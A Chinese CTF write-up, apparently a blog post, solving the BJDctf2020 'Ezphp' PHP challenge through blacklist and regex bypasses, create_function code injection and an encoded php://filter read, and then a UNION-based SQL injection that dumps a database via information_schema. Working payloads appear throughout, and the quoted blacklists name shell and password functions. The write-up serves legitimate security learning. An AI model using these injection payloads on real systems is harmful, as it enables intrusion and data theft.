第一步
- if($_SERVER) {
- if (
- preg_match('/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\.|\"|\'|log/i', $_SERVER['QUERY_STRING'])
- )
- die('You seem to want to do something bad?');
- }
$_SERVER['QUERY_STRING']函数不对传入的东西进行url编码,所以把payload进行url编码之后传入即可绕过,但是一般的url编码软件,是不能对字母和数字编码,直接就是十六进制前面加个%就可以
第二部
- if (!preg_match('/http|https/i', $_GET['file'])) { //这里禁用 http https
- if (preg_match('/^aqua_is_cute$/', $_GET['debu']) && $_GET['debu'] !== 'aqua_is_cute') {//需要成立
- $file = $_GET["file"];
- echo "Neeeeee! Good Job!
"; - }
首先file中禁用了http,https,然后让我们输入的 debu过正则,后面强比较又不能等于 aqua_is_cute
这不是相互矛盾嘛,这里需要用到preg_match漏洞进行绕过,可以用换行符绕过,即在结尾街上%0a(换行符)进行绕过,同时还要通过url编码绕过黑名单,构造payload:
deb%75=aq%75a_is_c%75te%0a(%75即小写字母u)
这里解释一下,是因为在上面禁用了u这些,然后需要编码绕过,浏览器自带一次编码,最后%0a 换行绕过
成功绕过
第三步
- if($_REQUEST) {
- foreach($_REQUEST as $value) {
- if(preg_match('/[a-zA-Z]/i', $value))//这是一个无字符的
- die('fxck you! I hate English!');
- }
- }
$_REQUEST包括所有以post和get方式传入的变量,如果含有字母则无法通过,但是构造参数的话不可能没有字母。这里的绕过利用到了$_REQUEST的特性,变量post值会优先于get,所以我们可以在get传入变量后用post传入数字进行覆盖。
这样就可以绕过
第四步
- if (file_get_contents($file) !== 'debu_debu_aqua')
- die("Aqua is the cutest five-year-old child in the world! Isn't it ?
");
因为过滤了http,这里用data伪协议绕一下
第五步
- if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
- extract($_GET["flag"]);
- echo "Very good! you know my password. But what is flag?
"; - } else{
- die("fxck you! you don't know my password! And you don't know sha1! why you come here!");
- }
额这可能是我唯一一个会的了,直接数组绕过
这里注意一下:shana被过滤了,passwd也被过滤了把a编码一下
第六步
前面的一看就可以明白了,这一步看了挺长时间的
- if(preg_match('/^[a-z0-9]*$/isD', $code) ||
- preg_match('/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\`|\{|\%|x|\&|\$|\*|\||\<|\"|\'|\=|\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\.|log|\^/i', $arg) ) {
- die("
Neeeeee~! I have disabled all dangerous functions! You can't get my flag =w="); //ban了这么这么多,肯定不能用一般方法传入payload了 - } else {
- include "flag.php";//这里包含了flag.php
- $code('', $arg);
- } ?>
extract($_GET["flag"]); 首先我们需要知道,代码中这个部分又一个变量覆盖flag,接下来会用到
BJDctf2020 Ezphp_87x00的博客-CSDN博客,这里的知识点create_function()讲的挺详细的,现在水平有限仅仅能看懂,还不能写出来,见谅
flag[code]=create_function&flag[arg]=}fction();//
而本题的$code('', $arg);中可以通过控制$arg来进行代码注入,首先保证传入的$code为create_function,其次是$arg参数,这里过滤了flag、cat等关键字,无法直接得到flag,这里用get_defined_vars()直接输出所有变量,构造payload:fl%61g[c%6de]=create_function&fl%61g[%61rg]=}var_dump(get_defined_vars());//(%61为小写字母o)
?deb%75=aq%75a_is_c%75te%0a
&file=data://text/plain,deb%75_deb%75_aq%75a
&sh%61na[]=1&p%61sswd[]=2
&fl%61g[c%6fde]=create_function
&fl%61g[%61rg]=}var_dump(get_defined_vars());//
记得post不能省略
下拉页面,获得flag的地址直接访问
看走眼了原来这才是真正的flag 用伪协议filter读取一下
构造payload:require(php://filter/read=convert.base64-encode/resource=rea1fl4g.php);因为前面过滤了很多的关键词,所以对整个require中的内容进行一个取反
-
- $a="php://filter/read=convert.base64-encode/resource=rea1fl4g.php";
- echo urlencode(~$a);
运行得到%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F
构造payload:fl%61g[%61rg]=}require(~(%8F%97%8F%C5%D0%D0%99%96%93%8B%9A%8D%D0%8D%9A%9E%9B%C2%9C%90%91%89%9A%8D%8B%D1%9D%9E%8C%9A%C9%CB%D2%9A%91%9C%90%9B%9A%D0%8D%9A%8C%90%8A%8D%9C%9A%C2%8D%9A%9E%CE%99%93%CB%98%D1%8F%97%8F));//
直接base64解码
打开界面源码,没什么有用的
burp看看有什么
看见url中多了几个参数,这时候考虑会不会有 一些注入
但是有三个参数,不知道哪个有用,试一下哪个有用,一个个删一下看看
删除了以后就search有用, order by3后报错说明一共有两列
确定了回显位置,继续注入
这里用以前的方法直接查找database,但是找出来好几个表,也没有flag
只能换一种方式
/query?search=arabia_terra%20union%20select%201,group_concat(schema_name)%20from%20information_schema.schemata
查出来了三个数据库,aliens没有,最大可能在alien_code这里面
?search=utopia_basin%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema="alien_code"#
查看出了一个表code
?search=utopia_basin%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="code"#
两个字段 id.code
到这里就卡了一下,
看大佬的表名前要加数据库名
// 注意要写alien_code.code,因为当前数据库并不是这个
我们之前查找的数据库database这个是当前的数据库,是alien,但我们code表是alien_code 不是一个数据库所以需要加上,数据库前缀alien_code.code
query?search=utopia_basin%20union%20select%201,group_concat(id,code)%20from%20alien_code.code#
获得flag